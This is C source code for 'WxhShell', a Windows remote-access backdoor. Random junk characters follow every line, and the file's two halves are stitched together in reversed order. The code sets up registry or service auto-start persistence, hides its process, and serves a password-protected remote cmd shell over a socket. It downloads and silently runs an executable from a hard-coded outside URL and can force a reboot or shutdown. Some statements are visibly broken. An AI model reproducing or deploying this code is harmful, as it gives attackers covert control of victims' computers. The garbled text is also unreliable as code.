    if(Boot(SHUTDOWN)) ;^DG P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,ZmDkzuv  
    else { ;) XB'  
    closesocket(wsh); Hs`j6yuc9  
    ExitThread(0); /'QfLW>6  
    } xgq `l#  
    break; n6C]JWG\/U  
    } _ %gu<Ys  
  // 获取shell EQ%,IK/  
  case 's': { [X^Oxs  
    CmdShell(wsh); ZW@%>_JR]  
    closesocket(wsh); z@Uf@~+U  
    ExitThread(0); 5Z_7Sc  
    break; `Kb"`}`_vm  
  } ] ^ s,  
  // 退出 :cA%lKg  
  case 'x': { ,SG-{   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \'hZm%S  
    CloseIt(wsh);   !XQq*  
    break; O.z\ VI2f  
    } dxi5p!^^9  
  // 离开 )aAKxC7w  
  case 'q': { !m:rtPD'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0^9%E61YR  
    closesocket(wsh); nvbKW.[<f{  
    WSACleanup(); s9[54 7?`  
    exit(1); sL!+&Id|  
    break; ',bSJ4)Y  
        } zPc kM)  
  } 2Fc>6]:*  
  } <HB@j}qi  
k1E(SXcW9  
  // 提示信息 kK~,? l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nm#,oX2C  
} PHR:BiMZ  
  } V.|#2gC]t  
/8Ru O  
  return; g>pvcf(  
} %CIRN}  
NbPNcjPL  
// shell模块句柄 jz$ ]"\G#  
int CmdShell(SOCKET sock) ;!(GwgllD  
{ 9/#?]LJ  
STARTUPINFO si; Xy]Pmt  
ZeroMemory(&si,sizeof(si)); z(eAhK}6?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T)o>U &KNP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]114\JE  
PROCESS_INFORMATION ProcessInfo; !g7lJ\B  
char cmdline[]="cmd"; 1LVO0lT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +x]3 - s  
  return 0; H;c3 x"  
} vf;&0j&`  
TD-o-*mO  
// 自身启动模式 v}sk %f  
int StartFromService(void) svvl`|n%  
{ M2!2 J  
typedef struct y8j6ttQv=t  
{ RdqB^>X  
  DWORD ExitStatus; qV5l v-p  
  DWORD PebBaseAddress; hxZL/_n'  
  DWORD AffinityMask; N;S1s0FN  
  DWORD BasePriority; {1;R&  
  ULONG UniqueProcessId; p6X-P%s  
  ULONG InheritedFromUniqueProcessId; !:wA\mAd  
}   PROCESS_BASIC_INFORMATION; l05'/duuJ  
kp3%"i&hD  
PROCNTQSIP NtQueryInformationProcess; 'h87 A-\!F  
'YvRkWf:KC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p(6KJK\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D"M[}$P  
ZxB7H{  
  HANDLE             hProcess; ?/q\S  
  PROCESS_BASIC_INFORMATION pbi; 4o|<zn  
UvF5u(o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mqK}y K^P]  
  if(NULL == hInst ) return 0; @!Rklhb  
Q.,2G7[ <  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Q1}h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ):lH   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 26ae|2?  
l i) 5o  
  if (!NtQueryInformationProcess) return 0; B}+li1k  
Qs,4PPEg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LYO2L1u)  
  if(!hProcess) return 0; v>/_U  
B!1h"K5.($  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {s>V'+H(F  
+~$pkxD"  
  CloseHandle(hProcess); G^V a$ike  
Mp?L9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GK=b  
if(hProcess==NULL) return 0; Xp[xO0  
,lcS J^yr  
HMODULE hMod; Y?ZzFd,i&  
char procName[255]; NXX/JJ+w  
unsigned long cbNeeded; l5/gM[0_7  
B \LmE+a>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SW}?y%~  
`\$EPUM  
  CloseHandle(hProcess); MdDL?ev  
\V#fl  
if(strstr(procName,"services")) return 1; // 以服务启动 oA?EJ~%  
#z+?t  
  return 0; // 注册表启动 {zalfw{+  
} ;;|.qgxc~  
4L_)@n}  
// 主模块 :%>)S  
int StartWxhshell(LPSTR lpCmdLine) )4TP{tp  
{ E[cH/Rm  
  SOCKET wsl; *yv@B!r  
BOOL val=TRUE; F :og:[  
  int port=0; 01~ nC@;  
  struct sockaddr_in door; F+ %l= fs  
ERy=lP~gV  
  if(wscfg.ws_autoins) Install();  <H npI  
r{ KQ3j9O  
port=atoi(lpCmdLine); 20# V?hX3  
l5#SOo\  
if(port<=0) port=wscfg.ws_port; @`qB[<t8:<  
d ehK#8  
  WSADATA data; Xe&p.v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qKrxln/T  
waU2C2!w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h[mJ=LIrg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); On|b-  
  door.sin_family = AF_INET; 6qSsr]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {1gT{2/~@  
  door.sin_port = htons(port); ^J;rW3#N8  
{&J~P&,k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e%EO/ 2"  
closesocket(wsl); Y?$  
return 1; 'Y.6sB  
} m(D+!I9  
Y]tbwOle  
  if(listen(wsl,2) == INVALID_SOCKET) { |`xM45  
closesocket(wsl); RO@=&3s  
return 1; hd]ts.  
} /+1(,S  
  Wxhshell(wsl); p|?FA@ 3  
  WSACleanup(); 0Py*%}r1  
w+wtr[;wwL  
return 0; d<6m_! L  
CXi[$nF3  
}  md,KRE  
9s1^hW2%Q  
// 以NT服务方式启动 7Ie=(x8):  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LmytO$?2(  
{ 5+Ao.3Xn  
DWORD   status = 0; #qFY`fVf1  
  DWORD   specificError = 0xfffffff; eC94rcb}i{  
`?O0)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7MGvw-Tpb7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qtmKX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {PR "}x  
  serviceStatus.dwWin32ExitCode     = 0; w2 r  
  serviceStatus.dwServiceSpecificExitCode = 0; zez|l  
  serviceStatus.dwCheckPoint       = 0; [N12X7O3  
  serviceStatus.dwWaitHint       = 0; MT7B'hd  
~oJ"si  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =^SxZ Bn  
  if (hServiceStatusHandle==0) return; \2]_NU5.  
\Hdsy="Dnh  
status = GetLastError(); t cO{CI  
  if (status!=NO_ERROR) xP,b/T #a  
{ ]T'7+5w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T2 S fBs  
    serviceStatus.dwCheckPoint       = 0; VFzIBgJ3  
    serviceStatus.dwWaitHint       = 0; I]DD5l}\  
    serviceStatus.dwWin32ExitCode     = status; g+5c"Yk+u~  
    serviceStatus.dwServiceSpecificExitCode = specificError; LM+d3|gSV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YRo,wsj  
    return; <# RVA{  
  } C$0g2X  
~d].<Be  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i(_A;TT6  
  serviceStatus.dwCheckPoint       = 0; GGf<9!:  
  serviceStatus.dwWaitHint       = 0; Le:(;:eL>t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N/ f7"~+`  
} 6]4#8tR1_  
Nk<^ Qv  
// 处理NT服务事件,比如:启动、停止 4"_`Mu_%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aZ+><1TD  
{ zg H(/@P  
switch(fdwControl) U`lK'..  
{ :PtZKt;~X  
case SERVICE_CONTROL_STOP: ~USt&?  
  serviceStatus.dwWin32ExitCode = 0; 1Qu@pb^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .r2*tB).  
  serviceStatus.dwCheckPoint   = 0; 9Msy=qvYG  
  serviceStatus.dwWaitHint     = 0; z~ywFk}KGd  
  { R|v'+bv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B]@25  
  } FJ-H ;  
  return; XbqMWQN*  
case SERVICE_CONTROL_PAUSE: ]8}51y8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yu)^s!UY;  
  break; AYgXqmH~+  
case SERVICE_CONTROL_CONTINUE: fCwE1r*^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DU0/if9.  
  break; B6Eu."T  
case SERVICE_CONTROL_INTERROGATE: ^lAM /  
  break; 8;V9%h`P>  
}; tq}45{FH3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jn:_2g[  
} I#&r5Q  
ZZ7qSyBs?  
// 标准应用程序主函数 s2#Ia>5!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i'7+ ?YL  
{ D:;idUO  
LP=j/qf|  
// 获取操作系统版本 d 8DU[p  
OsIsNt=GetOsVer(); ](A2,F 9(U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T*f/M  
>WIc"y.  
  // 从命令行安装 xbm%+  
  if(strpbrk(lpCmdLine,"iI")) Install(); G[A3H> >  
PO`p.("h  
  // 下载执行文件 aL( hWE  
if(wscfg.ws_downexe) { ~/]]H;;^u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #3QPcoxa  
  WinExec(wscfg.ws_filenam,SW_HIDE); qD4]7"9  
} S0)JIrrHC  
&CQO+Yr$l  
if(!OsIsNt) { Y.\x.Hg  
// 如果时win9x,隐藏进程并且设置为注册表启动 $[A\i<#  
HideProc(); tqZ+2c<W3  
StartWxhshell(lpCmdLine); NS~;{d \  
} DK\XC%~m  
else \xj;{xc  
  if(StartFromService()) +yp:douERi  
  // 以服务方式启动 :-B+W9'5  
  StartServiceCtrlDispatcher(DispatchTable); d=PX}o^  
else N+=|WeZ  
  // 普通方式启动 80Dn!9j*  
  StartWxhshell(lpCmdLine); RqtBz3v  
eHyUY&N/  
return 0; U}RBgPX!  
} &ASR2J  
ujZ`T0  
bI55G#1G  
h 6Z:+  
=========================================== `8ac;b  
f9W:-00QD  
kFv*>>X`  
t$18h2yOL  
d )O^(y1r  
e@Lxduq  
" =~GP;=6  
( Jk& U8y  
#include <stdio.h> @PEFl"  
#include <string.h> <w{?b'/q  
#include <windows.h> /ce;-3+  
#include <winsock2.h> c Mgd  
#include <winsvc.h> #wI}93E  
#include <urlmon.h> d+ jX49Vt  
_x!id f  
#pragma comment (lib, "Ws2_32.lib") a%T`c/C  
#pragma comment (lib, "urlmon.lib") N/bOl~!y  
X.eOw>.  
#define MAX_USER   100 // 最大客户端连接数 h0'*)`;z  
#define BUF_SOCK   200 // sock buffer vR!+ 8sy$  
#define KEY_BUFF   255 // 输入 buffer JaCX}[R  
m&:&z7^p  
#define REBOOT     0   // 重启 zj1~[$  (  
#define SHUTDOWN   1   // 关机 V4:/LNq_]  
Io1j%T#ZT  
#define DEF_PORT   5000 // 监听端口 eQuu\/z*H  
5#,H&ui\  
#define REG_LEN     16   // 注册表键长度 Vx h39eW  
#define SVC_LEN     80   // NT服务名长度 ]YgR  
>fH0>W+!  
// 从dll定义API "' JnFM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /MGapmqV9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |9#q7kM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {A/r)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EtKq.<SJ  
j_~KD}  
// wxhshell配置信息 2R[v*i^S  
struct WSCFG { /jG?PZ=m  
  int ws_port;         // 监听端口 }a7d(7  
  char ws_passstr[REG_LEN]; // 口令 (/e&m=~  
  int ws_autoins;       // 安装标记, 1=yes 0=no f#0HiE!  
  char ws_regname[REG_LEN]; // 注册表键名  ]n!V  
  char ws_svcname[REG_LEN]; // 服务名 Mu\V3`j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T/_u;My;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =AIFu\9#a`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q K]P=pE'C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vu:ZG*^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q$E.G63Wl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u?=mh`  
x>yqEdR=o  
}; %Mda<3P  
(S~kyU!)0  
// default Wxhshell configuration cx\E40WD  
struct WSCFG wscfg={DEF_PORT, q Gk.7wf%  
    "xuhuanlingzhe", Q@VA@N=w  
    1, WH:dcU   
    "Wxhshell", * Gg7(cnpw  
    "Wxhshell", Ew/MSl6}  
            "WxhShell Service", &C9IR,&  
    "Wrsky Windows CmdShell Service", EYT^*1,E*  
    "Please Input Your Password: ", ;6G]~}>o  
  1, A{ +/$7vek  
  "http://www.wrsky.com/wxhshell.exe", UP-eKK'z  
  "Wxhshell.exe" 5pCicwea#  
    }; <= 4$.2ym  
uY]';Ot G  
// 消息定义模块 7=P)`@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X+4Uh I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C4mkt2Eb0a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U% h.l  
char *msg_ws_ext="\n\rExit."; )Te\6qM  
char *msg_ws_end="\n\rQuit."; =XfvPBA  
char *msg_ws_boot="\n\rReboot..."; `% 9Y)a/e  
char *msg_ws_poff="\n\rShutdown..."; :3D8rqi:  
char *msg_ws_down="\n\rSave to "; +(+lbCW/  
Z",0 $Gxu  
char *msg_ws_err="\n\rErr!"; /!]K+6>u  
char *msg_ws_ok="\n\rOK!"; E{,Wp U  
1)z'-dQ-5$  
char ExeFile[MAX_PATH]; 8{>|%M  
int nUser = 0; !VD$uT  
HANDLE handles[MAX_USER]; $DDO9  
int OsIsNt; ~VsN\!G  
7P$*qj~Vh  
SERVICE_STATUS       serviceStatus; vPnS`&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IVxJN(N^  
RuHDAJ"&a  
// 函数声明 G#7*O`  
int Install(void); 1I2n dt  
int Uninstall(void); C6e5*S  
int DownloadFile(char *sURL, SOCKET wsh); hC$e8t60  
int Boot(int flag); Es[3Ppz  
void HideProc(void); `{#""I^_  
int GetOsVer(void); AF:_&gF  
int Wxhshell(SOCKET wsl); L'wR$  
void TalkWithClient(void *cs); =c6d $  
int CmdShell(SOCKET sock); gW~YB2 $  
int StartFromService(void); a!o%x  
int StartWxhshell(LPSTR lpCmdLine); rCo}^M4Pb  
b'O/u."O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0*MUe1{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w"v96%"Y  
8(? &=>@  
// 数据结构和表定义 ! Vl)aL  
SERVICE_TABLE_ENTRY DispatchTable[] =  l7t  
{ (6fD5XtS  
{wscfg.ws_svcname, NTServiceMain}, -c>3|bo  
{NULL, NULL} Sstz_t  
}; BsA4/Bf  
Bl>m`/\1i  
// 自我安装 Wps^wY  
int Install(void) DcxT6[  
{ 5%TSUU+<I  
  char svExeFile[MAX_PATH]; %R5- 6  
  HKEY key; e/4C` J-  
  strcpy(svExeFile,ExeFile); m+M^we*R  
nzbVI  
// 如果是win9x系统,修改注册表设为自启动 BD"Dzq  
if(!OsIsNt) { +`flIG3RV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { remc_}`w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >_Tyzl>z  
  RegCloseKey(key); OIFjc0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l9QIlTc7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PVi;h%>Y  
  RegCloseKey(key); %|4Kak]:Q  
  return 0; OTYkJEC8\N  
    } H0b{`!'Fs:  
  } D{t_65c-  
} ;-JF1p7;  
else { b0 }dy\dnQ  
d\-*Fmp(S  
// 如果是NT以上系统,安装为系统服务 ,tXI*R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -medD G  
if (schSCManager!=0) $\m:}\%p  
{ h8WM4 PK  
  SC_HANDLE schService = CreateService LTf)`SN %'  
  ( <mJ8~  
  schSCManager, 0=+feB1T  
  wscfg.ws_svcname, z$ QoMq]  
  wscfg.ws_svcdisp, &am<_Tn*3  
  SERVICE_ALL_ACCESS, fx>QP?Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1TEKq#t;y  
  SERVICE_AUTO_START, ?* +>T@MH  
  SERVICE_ERROR_NORMAL, I`+,I`~u  
  svExeFile, "uplk8iCJ  
  NULL, #y&5pP:@  
  NULL, y /vc\e  
  NULL, otaRA  
  NULL, T Q![  
  NULL Lt~&K$t7~  
  ); #)L}{mHLM-  
  if (schService!=0) E\}A<r  
  { _*z ^PkH  
  CloseServiceHandle(schService); +L=Xc^  
  CloseServiceHandle(schSCManager); E 6#/@C,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mdbi@ms@  
  strcat(svExeFile,wscfg.ws_svcname); BJ_"FG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gDJ} <^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); InL_JobE8r  
  RegCloseKey(key); %4R1rUrgt|  
  return 0; id,' +<  
    } `#ff`j|a  
  } jBEW("4R  
  CloseServiceHandle(schSCManager); o]I8Ghk>/z  
} Z6b]EcP)#  
} D\;5{,:d  
g'!"klS93  
return 1; N*[b 26  
} XlXt,  
Pc?"H!Hkn  
// 自我卸载 t!xdKX& }  
int Uninstall(void) leF!Uog  
{ g3Q;]8Y&  
  HKEY key; y<HNAG j  
o;DK]o>kH  
if(!OsIsNt) { W2%@}IDm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  +mft  
  RegDeleteValue(key,wscfg.ws_regname); q`8 5-  
  RegCloseKey(key); HP7~Zn)c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0`V=x+*,  
  RegDeleteValue(key,wscfg.ws_regname); 0i5S=L`j  
  RegCloseKey(key); @8w[Zo~  
  return 0; EhKG"Lb+  
  } #Mk3cp^Yl  
} xVYa-I[Z  
} Z0M,YSnz  
else { iW2\;}y  
fVZ9 2Xw B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^?0'\Z  
if (schSCManager!=0) v2r|) c,h  
{ wQ/.3V[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z&c}  
  if (schService!=0) Qe!3ae`Z  
  { }Z\S__\9  
  if(DeleteService(schService)!=0) { *qYw  
  CloseServiceHandle(schService); )n<p_vz  
  CloseServiceHandle(schSCManager); o&M.9V?~~  
  return 0; _PGd\>Ve  
  } Xe:rPxZf~  
  CloseServiceHandle(schService); V$FZVG/@#  
  } NB44GP1-@  
  CloseServiceHandle(schSCManager); +BO kHXk1  
} T#6g5Jnsp  
} Kwm_Y5`A  
X. Ur`X  
return 1; S~H>MtX(<  
} EUh_`R  
__+8wC  
// 从指定url下载文件 <_k A+&T  
int DownloadFile(char *sURL, SOCKET wsh) MSBrI3MqQ  
{ !?).4yr  
  HRESULT hr; cL%"AVsj >  
char seps[]= "/"; >hSu1s:  
char *token; RX_f[  
char *file; ~xDu2 -5  
char myURL[MAX_PATH]; !/a6;:_y  
char myFILE[MAX_PATH]; O3T7O`H[  
k{S8q?Gc  
strcpy(myURL,sURL); C[jX;//Jiu  
  token=strtok(myURL,seps); Qc!3y>Y=_  
  while(token!=NULL) F?jD5M08t/  
  { T.')XKP)1N  
    file=token; !Ea9 fe  
  token=strtok(NULL,seps); 9 !UNO  
  } KJ S-{ed  
gMZ+kP`  
GetCurrentDirectory(MAX_PATH,myFILE); _NwHT`O[  
strcat(myFILE, "\\"); br TP}A  
strcat(myFILE, file); #*w)rGkU2  
  send(wsh,myFILE,strlen(myFILE),0); Ahbh,U  
send(wsh,"...",3,0); {98e_z w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O0 Uh  
  if(hr==S_OK) k' Fu&r  
return 0; A)j!Wgs^z  
else  ~H   
return 1; }kItVx  
n'q:L(`M  
} 5`:d$rv  
0y/31hp  
// 系统电源模块 oD9L5c)  
int Boot(int flag) A n`*![  
{ x@/:{B   
  HANDLE hToken; F#) bGi  
  TOKEN_PRIVILEGES tkp; ~#P]NWW%.  
fI<d&5&g  
  if(OsIsNt) { ]91QZ~4a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UU[z\^w| E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zG/? wP"  
    tkp.PrivilegeCount = 1; k?L2LIB<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ndb7>"W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qP&:9eL  
if(flag==REBOOT) { B/;'D7i|S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %I!2dXNFRF  
  return 0; [dz3k@ >0  
} Rrl  
else { ZQ*Us*9I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;PMh>ZE`  
  return 0; D*PEIsV  
} d:^B2~j  
  } H[OgnnM  
  else { IoK/2Gp  
if(flag==REBOOT) { }a9G,@:k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "lt5gu!`u  
  return 0; :/Es%z D  
} %yjD<2J;  
else { v[8+fd)}S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T2.[iD!A  
  return 0; q{B?j%.o  
} n|rKo<Y0  
} ~LOE^6C+~o  
bX:h"6{=R  
return 1; q3h& V  
} dT?3Q;>B?  
z5~W >r  
// win9x进程隐藏模块 nfGI4ZE  
void HideProc(void) kQlwl9  
{ N]| >\  
t&[<Dl/L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >nih:5J,ja  
  if ( hKernel != NULL ) 9^8OIv?m8  
  { ]b sabS?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mK"s*tD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); to,\n"$~!  
    FreeLibrary(hKernel); Fzt?M  
  } Xxd]j]  
@@{5]Y  
return; >zL5*:G  
} m_Q&zp["  
_!, J iOI  
// 获取操作系统版本 c>>.>^5  
int GetOsVer(void) 1^= QIX  
{ nu-&vX  
  OSVERSIONINFO winfo; g|$;jQ\_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \M._x"  
  GetVersionEx(&winfo); ybJwFZ80  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ez*QP|F*9  
  return 1; t:vBVDkD  
  else > l0H)W  
  return 0; #qDm)zCM  
} !d!u{1Y&  
pPo xx"y  
// 客户端句柄模块 yzzJKucVU:  
int Wxhshell(SOCKET wsl) YC56] Zp  
{ |rZMcl/  
  SOCKET wsh; LfFXYX^  
  struct sockaddr_in client; $YcB=l  
  DWORD myID; xY!ud)  
Nf3UVK8LtS  
  while(nUser<MAX_USER) 4sn\UuKyL  
{ ?7LvJ8  
  int nSize=sizeof(client); x(eX.>o\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^IIy>  
  if(wsh==INVALID_SOCKET) return 1; v}V[sIs}  
o,* D8[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u Z-ZZE C  
if(handles[nUser]==0)  <9yh:1"X  
  closesocket(wsh); u{\'/c7G  
else p:Lmf8EI  
  nUser++; \#I$H9O  
  } |C<#M<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 25{_x3t^  
2@GizT*mA  
  return 0; nR*' 3  
} Km%L1Cd]  
MsP6C)dz  
// 关闭 socket Q!U}  
void CloseIt(SOCKET wsh) }$L63;/H  
{ }58MDpOF1  
closesocket(wsh); \ I523$a  
nUser--; !%('8-x%  
ExitThread(0); 6:Z8d%Z  
} tLfhW1"  
Cgh84 2%  
// 客户端请求句柄 NE8W--Cg|  
void TalkWithClient(void *cs) wT::b V{  
{ GjHR.p?-  
zp1ym}9M  
  SOCKET wsh=(SOCKET)cs; \P?X`]NwnO  
  char pwd[SVC_LEN]; T+$H[ &j  
  char cmd[KEY_BUFF]; }F_c0zM  
char chr[1]; fZ7AGP   
int i,j; zN|k*}j1J  
N~mr@rXC  
  while (nUser < MAX_USER) { FC, =g`Q!  
f6`GU$H  
if(wscfg.ws_passstr) { !+^'Ej)z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y`bTf@EP>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sAL ]N][Y  
  //ZeroMemory(pwd,KEY_BUFF); 31G0 B_T  
      i=0; d`B<\Y#{Us  
  while(i<SVC_LEN) { p T8?z  
x}?<9(nE c  
  // 设置超时 Wx{E\ l  
  fd_set FdRead; y3s+.5;  
  struct timeval TimeOut; RE%f'y  
  FD_ZERO(&FdRead); KBN% TqH|  
  FD_SET(wsh,&FdRead); {.{Wl,|7  
  TimeOut.tv_sec=8; |9c~kTjK  
  TimeOut.tv_usec=0; #H>{>0q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bP 9ly9FH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @3O)#r}\  
`!HD. E[2c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Nj/{BU  
  pwd=chr[0]; PLc5m5  
  if(chr[0]==0xd || chr[0]==0xa) { D @*<O=_D(  
  pwd=0; f;zNNx< ;  
  break; m3lz#Pm'0  
  } .=#j dc/  
  i++; @>(KEjQTz  
    } &9#m] Mz  
6- i.*!I 8  
  // 如果是非法用户,关闭 socket YoKyiO!   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +)jll#}?  
} _q27 3QG/"  
1w^wa_qx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fj5 g\m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X&qx4 DL  
k*hl"oL"X  
while(1) { lZcNio  
UPfO;Z`hJ  
  ZeroMemory(cmd,KEY_BUFF); f`uRC-B/  
2(xC|  
      // 自动支持客户端 telnet标准   E s5: S#  
  j=0; 8I#ir4z#<  
  while(j<KEY_BUFF) { P#~B @d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vi8A4  
  cmd[j]=chr[0]; :/;/mHG]  
  if(chr[0]==0xa || chr[0]==0xd) { L9 D`hefz  
  cmd[j]=0; d7X&3L%Oq  
  break; K}R+~<bIY  
  } p%"dYH%]&0  
  j++; x.?5-3|d$  
    } r<e%;S  
5XZ! yYB?  
  // 下载文件 @%R<3!3v  
  if(strstr(cmd,"http://")) { '+cI W(F?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }6c>BU}DF  
  if(DownloadFile(cmd,wsh)) ijF_ KP'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ssi7)0  
  else KT(Z #$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @yaFN>w  
  } dq[h:kYm  
  else { #dA$k+3  
\WCQ>c?~  
    switch(cmd[0]) { v~P,OP("c  
